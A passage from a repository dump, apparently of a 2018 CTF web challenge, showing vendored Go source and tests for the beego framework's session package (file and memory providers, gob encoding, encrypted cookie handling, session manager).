nil {\n\t\tSLogger.Println(err.Error())\n\t}\n\n\t// if old sid file exist\n\t// 1.read and parse file content\n\t// 2.write content to new sid file\n\t// 3.remove old sid file, change new sid file atime and ctime\n\t// 4.return FileSessionStore\n\t_, err = os.Stat(oldSidFile)\n\tif err == nil {\n\t\tb, err := ioutil.ReadFile(oldSidFile)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvar kv map[interface{}]interface{}\n\t\tif len(b) == 0 {\n\t\t\tkv = make(map[interface{}]interface{})\n\t\t} else {\n\t\t\tkv, err = DecodeGob(b)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\tioutil.WriteFile(newSidFile, b, 0777)\n\t\tos.Remove(oldSidFile)\n\t\tos.Chtimes(newSidFile, time.Now(), time.Now())\n\t\tss := &FileSessionStore{sid: sid, values: kv}\n\t\treturn ss, nil\n\t}\n\n\t// if old sid file not exist, just create new sid file and return\n\tnewf, err := os.Create(newSidFile)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tnewf.Close()\n\tss := &FileSessionStore{sid: sid, values: make(map[interface{}]interface{})}\n\treturn ss, nil\n}\n\n// remove file in save path if expired\nfunc gcpath(path string, info os.FileInfo, err error) error {\n\tif err != nil {\n\t\treturn err\n\t}\n\tif info.IsDir() {\n\t\treturn nil\n\t}\n\tif (info.ModTime().Unix() + gcmaxlifetime) < time.Now().Unix() {\n\t\tos.Remove(path)\n\t}\n\treturn nil\n}\n\ntype activeSession struct {\n\ttotal int\n}\n\nfunc (as *activeSession) visit(paths string, f os.FileInfo, err error) error {\n\tif err != nil {\n\t\treturn err\n\t}\n\tif f.IsDir() {\n\t\treturn nil\n\t}\n\tas.total = as.total + 1\n\treturn nil\n}\n\nfunc init() {\n\tRegister(\"file\", filepder)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/sess_mem.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage session\n\nimport (\n\t\"container/list\"\n\t\"net/http\"\n\t\"sync\"\n\t\"time\"\n)\n\nvar mempder = &MemProvider{list: list.New(), sessions: make(map[string]*list.Element)}\n\n// MemSessionStore memory session store.\n// it saved sessions in a map in memory.\ntype MemSessionStore struct {\n\tsid          string                      //session id\n\ttimeAccessed time.Time                   //last access time\n\tvalue        map[interface{}]interface{} //session store\n\tlock         sync.RWMutex\n}\n\n// Set value to memory session\nfunc (st *MemSessionStore) Set(key, value interface{}) error {\n\tst.lock.Lock()\n\tdefer st.lock.Unlock()\n\tst.value[key] = value\n\treturn nil\n}\n\n// Get value from memory session by key\nfunc (st *MemSessionStore) Get(key interface{}) interface{} {\n\tst.lock.RLock()\n\tdefer st.lock.RUnlock()\n\tif v, ok := st.value[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}\n\n// Delete in memory session by key\nfunc (st *MemSessionStore) Delete(key interface{}) error {\n\tst.lock.Lock()\n\tdefer st.lock.Unlock()\n\tdelete(st.value, key)\n\treturn nil\n}\n\n// Flush clear all values in memory session\nfunc (st *MemSessionStore) Flush() error {\n\tst.lock.Lock()\n\tdefer st.lock.Unlock()\n\tst.value = make(map[interface{}]interface{})\n\treturn nil\n}\n\n// SessionID get this id of memory session store\nfunc (st *MemSessionStore) SessionID() string {\n\treturn st.sid\n}\n\n// SessionRelease Implement method, no used.\nfunc (st *MemSessionStore) SessionRelease(w http.ResponseWriter) {\n}\n\n// MemProvider Implement the provider interface\ntype MemProvider struct {\n\tlock        sync.RWMutex             // locker\n\tsessions    map[string]*list.Element // map in memory\n\tlist        *list.List               // for gc\n\tmaxlifetime int64\n\tsavePath    string\n}\n\n// SessionInit init memory session\nfunc (pder *MemProvider) SessionInit(maxlifetime int64, savePath string) error {\n\tpder.maxlifetime = maxlifetime\n\tpder.savePath = savePath\n\treturn nil\n}\n\n// SessionRead get memory session store by sid\nfunc (pder *MemProvider) SessionRead(sid string) (Store, error) {\n\tpder.lock.RLock()\n\tif element, ok := pder.sessions[sid]; ok {\n\t\tgo pder.SessionUpdate(sid)\n\t\tpder.lock.RUnlock()\n\t\treturn element.Value.(*MemSessionStore), nil\n\t}\n\tpder.lock.RUnlock()\n\tpder.lock.Lock()\n\tnewsess := &MemSessionStore{sid: sid, timeAccessed: time.Now(), value: make(map[interface{}]interface{})}\n\telement := pder.list.PushFront(newsess)\n\tpder.sessions[sid] = element\n\tpder.lock.Unlock()\n\treturn newsess, nil\n}\n\n// SessionExist check session store exist in memory session by sid\nfunc (pder *MemProvider) SessionExist(sid string) bool {\n\tpder.lock.RLock()\n\tdefer pder.lock.RUnlock()\n\tif _, ok := pder.sessions[sid]; ok {\n\t\treturn true\n\t}\n\treturn false\n}\n\n// SessionRegenerate generate new sid for session store in memory session\nfunc (pder *MemProvider) SessionRegenerate(oldsid, sid string) (Store, error) {\n\tpder.lock.RLock()\n\tif element, ok := pder.sessions[oldsid]; ok {\n\t\tgo pder.SessionUpdate(oldsid)\n\t\tpder.lock.RUnlock()\n\t\tpder.lock.Lock()\n\t\telement.Value.(*MemSessionStore).sid = sid\n\t\tpder.sessions[sid] = element\n\t\tdelete(pder.sessions, oldsid)\n\t\tpder.lock.Unlock()\n\t\treturn element.Value.(*MemSessionStore), nil\n\t}\n\tpder.lock.RUnlock()\n\tpder.lock.Lock()\n\tnewsess := &MemSessionStore{sid: sid, timeAccessed: time.Now(), value: make(map[interface{}]interface{})}\n\telement := pder.list.PushFront(newsess)\n\tpder.sessions[sid] = element\n\tpder.lock.Unlock()\n\treturn newsess, nil\n}\n\n// SessionDestroy delete session store in memory session by id\nfunc (pder *MemProvider) SessionDestroy(sid string) error {\n\tpder.lock.Lock()\n\tdefer pder.lock.Unlock()\n\tif element, ok := pder.sessions[sid]; ok {\n\t\tdelete(pder.sessions, sid)\n\t\tpder.list.Remove(element)\n\t\treturn nil\n\t}\n\treturn nil\n}\n\n// SessionGC clean expired session stores in memory session\nfunc (pder *MemProvider) SessionGC() {\n\tpder.lock.RLock()\n\tfor {\n\t\telement := pder.list.Back()\n\t\tif element == nil {\n\t\t\tbreak\n\t\t}\n\t\tif (element.Value.(*MemSessionStore).timeAccessed.Unix() + pder.maxlifetime) < time.Now().Unix() {\n\t\t\tpder.lock.RUnlock()\n\t\t\tpder.lock.Lock()\n\t\t\tpder.list.Remove(element)\n\t\t\tdelete(pder.sessions, element.Value.(*MemSessionStore).sid)\n\t\t\tpder.lock.Unlock()\n\t\t\tpder.lock.RLock()\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\tpder.lock.RUnlock()\n}\n\n// SessionAll get count number of memory session\nfunc (pder *MemProvider) SessionAll() int {\n\treturn pder.list.Len()\n}\n\n// SessionUpdate expand time of session store by id in memory session\nfunc (pder *MemProvider) SessionUpdate(sid string) error {\n\tpder.lock.Lock()\n\tdefer pder.lock.Unlock()\n\tif element, ok := pder.sessions[sid]; ok {\n\t\telement.Value.(*MemSessionStore).timeAccessed = time.Now()\n\t\tpder.list.MoveToFront(element)\n\t\treturn nil\n\t}\n\treturn nil\n}\n\nfunc init() {\n\tRegister(\"memory\", mempder)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/sess_mem_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage session\n\nimport (\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestMem(t *testing.T) {\n\tconfig := `{\"cookieName\":\"gosessionid\",\"gclifetime\":10, \"enableSetCookie\":true}`\n\tconf := new(ManagerConfig)\n\tif err := json.Unmarshal([]byte(config), conf); err != nil {\n\t\tt.Fatal(\"json decode error\", err)\n\t}\n\tglobalSessions, _ := NewManager(\"memory\", conf)\n\tgo globalSessions.GC()\n\tr, _ := http.NewRequest(\"GET\", \"/\", nil)\n\tw := httptest.NewRecorder()\n\tsess, err := globalSessions.SessionStart(w, r)\n\tif err != nil {\n\t\tt.Fatal(\"set error,\", err)\n\t}\n\tdefer sess.SessionRelease(w)\n\terr = sess.Set(\"username\", \"astaxie\")\n\tif err != nil {\n\t\tt.Fatal(\"set error,\", err)\n\t}\n\tif username := sess.Get(\"username\"); username != \"astaxie\" {\n\t\tt.Fatal(\"get username error\")\n\t}\n\tif cookiestr := w.Header().Get(\"Set-Cookie\"); cookiestr == \"\" {\n\t\tt.Fatal(\"setcookie error\")\n\t} else {\n\t\tparts := strings.Split(strings.TrimSpace(cookiestr), \";\")\n\t\tfor k, v := range parts {\n\t\t\tnameval := strings.Split(v, \"=\")\n\t\t\tif k == 0 && nameval[0] != \"gosessionid\" {\n\t\t\t\tt.Fatal(\"error\")\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/sess_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage session\n\nimport (\n\t\"crypto/aes\"\n\t\"encoding/json\"\n\t\"testing\"\n)\n\nfunc Test_gob(t *testing.T) {\n\ta := make(map[interface{}]interface{})\n\ta[\"username\"] = \"astaxie\"\n\ta[12] = 234\n\ta[\"user\"] = User{\"asta\", \"xie\"}\n\tb, err := EncodeGob(a)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tc, err := DecodeGob(b)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif len(c) == 0 {\n\t\tt.Error(\"decodeGob empty\")\n\t}\n\tif c[\"username\"] != \"astaxie\" {\n\t\tt.Error(\"decode string error\")\n\t}\n\tif c[12] != 234 {\n\t\tt.Error(\"decode int error\")\n\t}\n\tif c[\"user\"].(User).Username != \"asta\" {\n\t\tt.Error(\"decode struct error\")\n\t}\n}\n\ntype User struct {\n\tUsername string\n\tNickName string\n}\n\nfunc TestGenerate(t *testing.T) {\n\tstr := generateRandomKey(20)\n\tif len(str) != 20 {\n\t\tt.Fatal(\"generate length is not equal to 20\")\n\t}\n}\n\nfunc TestCookieEncodeDecode(t *testing.T) {\n\thashKey := \"testhashKey\"\n\tblockkey := generateRandomKey(16)\n\tblock, err := aes.NewCipher(blockkey)\n\tif err != nil {\n\t\tt.Fatal(\"NewCipher:\", err)\n\t}\n\tsecurityName := string(generateRandomKey(20))\n\tval := make(map[interface{}]interface{})\n\tval[\"name\"] = \"astaxie\"\n\tval[\"gender\"] = \"male\"\n\tstr, err := encodeCookie(block, hashKey, securityName, val)\n\tif err != nil {\n\t\tt.Fatal(\"encodeCookie:\", err)\n\t}\n\tdst, err := decodeCookie(block, hashKey, securityName, str, 3600)\n\tif err != nil {\n\t\tt.Fatal(\"decodeCookie\", err)\n\t}\n\tif dst[\"name\"] != \"astaxie\" {\n\t\tt.Fatal(\"dst get map error\")\n\t}\n\tif dst[\"gender\"] != \"male\" {\n\t\tt.Fatal(\"dst get map error\")\n\t}\n}\n\nfunc TestParseConfig(t *testing.T) {\n\ts := `{\"cookieName\":\"gosessionid\",\"gclifetime\":3600}`\n\tcf := new(ManagerConfig)\n\tcf.EnableSetCookie = true\n\terr := json.Unmarshal([]byte(s), cf)\n\tif err != nil {\n\t\tt.Fatal(\"parse json error,\", err)\n\t}\n\tif cf.CookieName != \"gosessionid\" {\n\t\tt.Fatal(\"parseconfig get cookiename error\")\n\t}\n\tif cf.Gclifetime != 3600 {\n\t\tt.Fatal(\"parseconfig get gclifetime error\")\n\t}\n\n\tcc := `{\"cookieName\":\"gosessionid\",\"enableSetCookie\":false,\"gclifetime\":3600,\"ProviderConfig\":\"{\\\"cookieName\\\":\\\"gosessionid\\\",\\\"securityKey\\\":\\\"beegocookiehashkey\\\"}\"}`\n\tcf2 := new(ManagerConfig)\n\tcf2.EnableSetCookie = true\n\terr = json.Unmarshal([]byte(cc), cf2)\n\tif err != nil {\n\t\tt.Fatal(\"parse json error,\", err)\n\t}\n\tif cf2.CookieName != \"gosessionid\" {\n\t\tt.Fatal(\"parseconfig get cookiename error\")\n\t}\n\tif cf2.Gclifetime != 3600 {\n\t\tt.Fatal(\"parseconfig get gclifetime error\")\n\t}\n\tif cf2.EnableSetCookie {\n\t\tt.Fatal(\"parseconfig get enableSetCookie error\")\n\t}\n\tcconfig := new(cookieConfig)\n\terr = json.Unmarshal([]byte(cf2.ProviderConfig), cconfig)\n\tif err != nil {\n\t\tt.Fatal(\"parse ProviderConfig err,\", err)\n\t}\n\tif cconfig.CookieName != \"gosessionid\" {\n\t\tt.Fatal(\"ProviderConfig get cookieName error\")\n\t}\n\tif cconfig.SecurityKey != \"beegocookiehashkey\" {\n\t\tt.Fatal(\"ProviderConfig get securityKey error\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/sess_utils.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage session\n\nimport (\n\t\"bytes\"\n\t\"crypto/cipher\"\n\t\"crypto/hmac\"\n\t\"crypto/rand\"\n\t\"crypto/sha1\"\n\t\"crypto/subtle\"\n\t\"encoding/base64\"\n\t\"encoding/gob\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego/utils\"\n)\n\nfunc init() {\n\tgob.Register([]interface{}{})\n\tgob.Register(map[int]interface{}{})\n\tgob.Register(map[string]interface{}{})\n\tgob.Register(map[interface{}]interface{}{})\n\tgob.Register(map[string]string{})\n\tgob.Register(map[int]string{})\n\tgob.Register(map[int]int{})\n\tgob.Register(map[int]int64{})\n}\n\n// EncodeGob encode the obj to gob\nfunc EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {\n\tfor _, v := range obj {\n\t\tgob.Register(v)\n\t}\n\tbuf := bytes.NewBuffer(nil)\n\tenc := gob.NewEncoder(buf)\n\terr := enc.Encode(obj)\n\tif err != nil {\n\t\treturn []byte(\"\"), err\n\t}\n\treturn buf.Bytes(), nil\n}\n\n// DecodeGob decode data to map\nfunc DecodeGob(encoded []byte) (map[interface{}]interface{}, error) {\n\tbuf := bytes.NewBuffer(encoded)\n\tdec := gob.NewDecoder(buf)\n\tvar out map[interface{}]interface{}\n\terr := dec.Decode(&out)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\n// generateRandomKey creates a random key with the given strength.\nfunc generateRandomKey(strength int) []byte {\n\tk := make([]byte, strength)\n\tif n, err := io.ReadFull(rand.Reader, k); n != strength || err != nil {\n\t\treturn utils.RandomCreateBytes(strength)\n\t}\n\treturn k\n}\n\n// Encryption -----------------------------------------------------------------\n\n// encrypt encrypts a value using the given block in counter mode.\n//\n// A random initialization vector (http://goo.gl/zF67k) with the length of the\n// block size is prepended to the resulting ciphertext.\nfunc encrypt(block cipher.Block, value []byte) ([]byte, error) {\n\tiv := generateRandomKey(block.BlockSize())\n\tif iv == nil {\n\t\treturn nil, errors.New(\"encrypt: failed to generate random iv\")\n\t}\n\t// Encrypt it.\n\tstream := cipher.NewCTR(block, iv)\n\tstream.XORKeyStream(value, value)\n\t// Return iv + ciphertext.\n\treturn append(iv, value...), nil\n}\n\n// decrypt decrypts a value using the given block in counter mode.\n//\n// The value to be decrypted must be prepended by a initialization vector\n// (http://goo.gl/zF67k) with the length of the block size.\nfunc decrypt(block cipher.Block, value []byte) ([]byte, error) {\n\tsize := block.BlockSize()\n\tif len(value) > size {\n\t\t// Extract iv.\n\t\tiv := value[:size]\n\t\t// Extract ciphertext.\n\t\tvalue = value[size:]\n\t\t// Decrypt it.\n\t\tstream := cipher.NewCTR(block, iv)\n\t\tstream.XORKeyStream(value, value)\n\t\treturn value, nil\n\t}\n\treturn nil, errors.New(\"decrypt: the value could not be decrypted\")\n}\n\nfunc encodeCookie(block cipher.Block, hashKey, name string, value map[interface{}]interface{}) (string, error) {\n\tvar err error\n\tvar b []byte\n\t// 1. EncodeGob.\n\tif b, err = EncodeGob(value); err != nil {\n\t\treturn \"\", err\n\t}\n\t// 2. Encrypt (optional).\n\tif b, err = encrypt(block, b); err != nil {\n\t\treturn \"\", err\n\t}\n\tb = encode(b)\n\t// 3. Create MAC for \"name|date|value\". Extra pipe to be used later.\n\tb = []byte(fmt.Sprintf(\"%s|%d|%s|\", name, time.Now().UTC().Unix(), b))\n\th := hmac.New(sha1.New, []byte(hashKey))\n\th.Write(b)\n\tsig := h.Sum(nil)\n\t// Append mac, remove name.\n\tb = append(b, sig...)[len(name)+1:]\n\t// 4. Encode to base64.\n\tb = encode(b)\n\t// Done.\n\treturn string(b), nil\n}\n\nfunc decodeCookie(block cipher.Block, hashKey, name, value string, gcmaxlifetime int64) (map[interface{}]interface{}, error) {\n\t// 1. Decode from base64.\n\tb, err := decode([]byte(value))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// 2. Verify MAC. Value is \"date|value|mac\".\n\tparts := bytes.SplitN(b, []byte(\"|\"), 3)\n\tif len(parts) != 3 {\n\t\treturn nil, errors.New(\"Decode: invalid value format\")\n\t}\n\n\tb = append([]byte(name+\"|\"), b[:len(b)-len(parts[2])]...)\n\th := hmac.New(sha1.New, []byte(hashKey))\n\th.Write(b)\n\tsig := h.Sum(nil)\n\tif len(sig) != len(parts[2]) || subtle.ConstantTimeCompare(sig, parts[2]) != 1 {\n\t\treturn nil, errors.New(\"Decode: the value is not valid\")\n\t}\n\t// 3. Verify date ranges.\n\tvar t1 int64\n\tif t1, err = strconv.ParseInt(string(parts[0]), 10, 64); err != nil {\n\t\treturn nil, errors.New(\"Decode: invalid timestamp\")\n\t}\n\tt2 := time.Now().UTC().Unix()\n\tif t1 > t2 {\n\t\treturn nil, errors.New(\"Decode: timestamp is too new\")\n\t}\n\tif t1 < t2-gcmaxlifetime {\n\t\treturn nil, errors.New(\"Decode: expired timestamp\")\n\t}\n\t// 4. Decrypt (optional).\n\tb, err = decode(parts[1])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif b, err = decrypt(block, b); err != nil {\n\t\treturn nil, err\n\t}\n\t// 5. DecodeGob.\n\tdst, err := DecodeGob(b)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn dst, nil\n}\n\n// Encoding -------------------------------------------------------------------\n\n// encode encodes a value using base64.\nfunc encode(value []byte) []byte {\n\tencoded := make([]byte, base64.URLEncoding.EncodedLen(len(value)))\n\tbase64.URLEncoding.Encode(encoded, value)\n\treturn encoded\n}\n\n// decode decodes a cookie using base64.\nfunc decode(value []byte) ([]byte, error) {\n\tdecoded := make([]byte, base64.URLEncoding.DecodedLen(len(value)))\n\tb, err := base64.URLEncoding.Decode(decoded, value)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn decoded[:b], nil\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/session.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package session provider\n//\n// Usage:\n// import(\n//   \"github.com/astaxie/beego/session\"\n// )\n//\n//\tfunc init() {\n//      globalSessions, _ = session.NewManager(\"memory\", `{\"cookieName\":\"gosessionid\", \"enableSetCookie,omitempty\": true, \"gclifetime\":3600, \"maxLifetime\": 3600, \"secure\": false, \"cookieLifeTime\": 3600, \"providerConfig\": \"\"}`)\n//\t\tgo globalSessions.GC()\n//\t}\n//\n// more docs: http://beego.me/docs/module/session.md\npackage session\n\nimport (\n\t\"crypto/rand\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/textproto\"\n\t\"net/url\"\n\t\"os\"\n\t\"time\"\n)\n\n// Store contains all data for one session process with specific id.\ntype Store interface {\n\tSet(key, value interface{}) error     //set session value\n\tGet(key interface{}) interface{}      //get session value\n\tDelete(key interface{}) error         //delete session value\n\tSessionID() string                    //back current sessionID\n\tSessionRelease(w http.ResponseWriter) // release the resource & save data to provider & return the data\n\tFlush() error                         //delete all data\n}\n\n// Provider contains global session methods and saved SessionStores.\n// it can operate a SessionStore by its id.\ntype Provider interface {\n\tSessionInit(gclifetime int64, config string) error\n\tSessionRead(sid string) (Store, error)\n\tSessionExist(sid string) bool\n\tSessionRegenerate(oldsid, sid string) (Store, error)\n\tSessionDestroy(sid string) error\n\tSessionAll() int //get all active session\n\tSessionGC()\n}\n\nvar provides = make(map[string]Provider)\n\n// SLogger a helpful variable to log information about session\nvar SLogger = NewSessionLog(os.Stderr)\n\n// Register makes a session provide available by the provided name.\n// If Register is called twice with the same name or if driver is nil,\n// it panics.\nfunc Register(name string, provide Provider) {\n\tif provide == nil {\n\t\tpanic(\"session: Register provide is nil\")\n\t}\n\tif _, dup := provides[name]; dup {\n\t\tpanic(\"session: Register called twice for provider \" + name)\n\t}\n\tprovides[name] = provide\n}\n\n// ManagerConfig define the session config\ntype ManagerConfig struct {\n\tCookieName              string `json:\"cookieName\"`\n\tEnableSetCookie         bool   `json:\"enableSetCookie,omitempty\"`\n\tGclifetime              int64  `json:\"gclifetime\"`\n\tMaxlifetime             int64  `json:\"maxLifetime\"`\n\tDisableHTTPOnly         bool   `json:\"disableHTTPOnly\"`\n\tSecure                  bool   `json:\"secure\"`\n\tCookieLifeTime          int    `json:\"cookieLifeTime\"`\n\tProviderConfig          string `json:\"providerConfig\"`\n\tDomain                  string `json:\"domain\"`\n\tSessionIDLength         int64  `json:\"sessionIDLength\"`\n\tEnableSidInHTTPHeader   bool   `json:\"EnableSidInHTTPHeader\"`\n\tSessionNameInHTTPHeader string `json:\"SessionNameInHTTPHeader\"`\n\tEnableSidInURLQuery     bool   `json:\"EnableSidInURLQuery\"`\n}\n\n// Manager contains Provider and its configuration.\ntype Manager struct {\n\tprovider Provider\n\tconfig   *ManagerConfig\n}\n\n// NewManager Create new Manager with provider name and json config string.\n// provider name:\n// 1. cookie\n// 2. file\n// 3. memory\n// 4. redis\n// 5. mysql\n// json config:\n// 1. is https  default false\n// 2. hashfunc  default sha1\n// 3. hashkey default beegosessionkey\n// 4. maxage default is none\nfunc NewManager(provideName string, cf *ManagerConfig) (*Manager, error) {\n\tprovider, ok := provides[provideName]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"session: unknown provide %q (forgotten import?)\", provideName)\n\t}\n\n\tif cf.Maxlifetime == 0 {\n\t\tcf.Maxlifetime = cf.Gclifetime\n\t}\n\n\tif cf.EnableSidInHTTPHeader {\n\t\tif cf.SessionNameInHTTPHeader == \"\" {\n\t\t\tpanic(errors.New(\"SessionNameInHTTPHeader is empty\"))\n\t\t}\n\n\t\tstrMimeHeader := textproto.CanonicalMIMEHeaderKey(cf.SessionNameInHTTPHeader)\n\t\tif cf.SessionNameInHTTPHeader != strMimeHeader {\n\t\t\tstrErrMsg := \"SessionNameInHTTPHeader (\" + cf.SessionNameInHTTPHeader + \") has the wrong format, it should be like this : \" + strMimeHeader\n\t\t\tpanic(errors.New(strErrMsg))\n\t\t}\n\t}\n\n\terr := provider.SessionInit(cf.Maxlifetime, cf.ProviderConfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif cf.SessionIDLength == 0 {\n\t\tcf.SessionIDLength = 16\n\t}\n\n\treturn &Manager{\n\t\tprovider,\n\t\tcf,\n\t}, nil\n}\n\n// getSid retrieves session identifier from HTTP Request.\n// First try to retrieve id by reading from cookie, session cookie name is configurable,\n// if not exist, then retrieve id from querying parameters.\n//\n// error is not nil when there is anything wrong.\n// sid is empty when need to generate a new session id\n// otherwise return an valid session id.\nfunc (manager *Manager) getSid(r *http.Request) (string, error) {\n\tcookie, errs := r.Cookie(manager.config.CookieName)\n\tif errs != nil || cookie.Value == \"\" {\n\t\tvar sid string\n\t\tif manager.config.EnableSidInURLQuery {\n\t\t\terrs := r.ParseForm()\n\t\t\tif errs != nil {\n\t\t\t\treturn \"\", errs\n\t\t\t}\n\n\t\t\tsid = r.FormValue(manager.config.CookieName)\n\t\t}\n\n\t\t// if not found in Cookie / param, then read it from request headers\n\t\tif manager.config.EnableSidInHTTPHeader && sid == \"\" {\n\t\t\tsids, isFound := r.Header[manager.config.SessionNameInHTTPHeader]\n\t\t\tif isFound && len(sids) != 0 {\n\t\t\t\treturn sids[0], nil\n\t\t\t}\n\t\t}\n\n\t\treturn sid, nil\n\t}\n\n\t// HTTP Request contains cookie for sessionid info.\n\treturn url.QueryUnescape(cookie.Value)\n}\n\n// SessionStart generate or read the session id from http request.\n// if session id exists, return SessionStore with this id.\nfunc (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Store, err error) {\n\tsid, errs := manager.getSid(r)\n\tif errs != nil {\n\t\treturn nil, errs\n\t}\n\n\tif sid != \"\" && manager.provider.SessionExist(sid) {\n\t\treturn manager.provider.SessionRead(sid)\n\t}\n\n\t// Generate a new session\n\tsid, errs = manager.sessionID()\n\tif errs != nil {\n\t\treturn nil, errs\n\t}\n\n\tsession, err = manager.provider.SessionRead(sid)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcookie := &http.Cookie{\n\t\tName:     manager.config.CookieName,\n\t\tValue:    url.QueryEscape(sid),\n\t\tPath:     \"/\",\n\t\tHttpOnly: !manager.config.DisableHTTPOnly,\n\t\tSecure:   manager.isSecure(r),\n\t\tDomain:   manager.config.Domain,\n\t}\n\tif manager.config.CookieLifeTime > 0 {\n\t\tcookie.MaxAge = manager.config.CookieLifeTime\n\t\tcookie.Expires = time.Now().Add(time.Duration(manager.config.CookieLifeTime) * time.Second)\n\t}\n\tif manager.config.EnableSetCookie {\n\t\thttp.SetCookie(w, cookie)\n\t}\n\tr.AddCookie(cookie)\n\n\tif manager.config.EnableSidInHTTPHeader {\n\t\tr.Header.Set(manager.config.SessionNameInHTTPHeader, sid)\n\t\tw.Header().Set(manager.config.SessionNameInHTTPHeader, sid)\n\t}\n\n\treturn\n}\n\n// SessionDestroy Destroy session by its id in http request cookie.\nfunc (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request) {\n\tif manager.config.EnableSidInHTTPHeader {\n\t\tr.Header.Del(manager.config.SessionNameInHTTPHeader)\n\t\tw.Header().Del(manager.config.SessionNameInHTTPHeader)\n\t}\n\n\tcookie, err := r.Cookie(manager.config.CookieName)\n\tif err != nil || cookie.Value == \"\" {\n\t\treturn\n\t}\n\n\tsid, _ := url.QueryUnescape(cookie.Value)\n\tmanager.provider.SessionDestroy(sid)\n\tif manager.config.EnableSetCookie {\n\t\texpiration := time.Now()\n\t\tcookie = &http.Cookie{Name: manager.config.CookieName,\n\t\t\tPath:     \"/\",\n\t\t\tHttpOnly: !manager.config.DisableHTTPOnly,\n\t\t\tExpires:  expiration,\n\t\t\tMaxAge:   -1}\n\n\t\thttp.SetCookie(w, cookie)\n\t}\n}\n\n// GetSessionStore Get SessionStore by its id.\nfunc (manager *Manager) GetSessionStore(sid string) (sessions Store, err error) {\n\tsessions, err = manager.provider.SessionRead(sid)\n\treturn\n}\n\n// GC Start session gc process.\n// it can do gc in times after gc lifetime.\nfunc (manager *Manager) GC() {\n\tmanager.provider.SessionGC()\n\ttime.AfterFunc(time.Duration(manager.config.Gclifetime)*time.Second, func() { manager.GC() })\n}\n\n// SessionRegenerateID Regenerate a session id for this SessionStore who's id is saving in http request.\nfunc (manager *Manager) SessionRegenerateID(w http.ResponseWriter, r *http.Request) (session Store) {\n\tsid, err := manager.sessionID()\n\tif err != nil {\n\t\treturn\n\t}\n\tcookie, err := r.Cookie(manager.config.CookieName)\n\tif err != nil || cookie.Value == \"\" {\n\t\t//delete old cookie\n\t\tsession, _ = 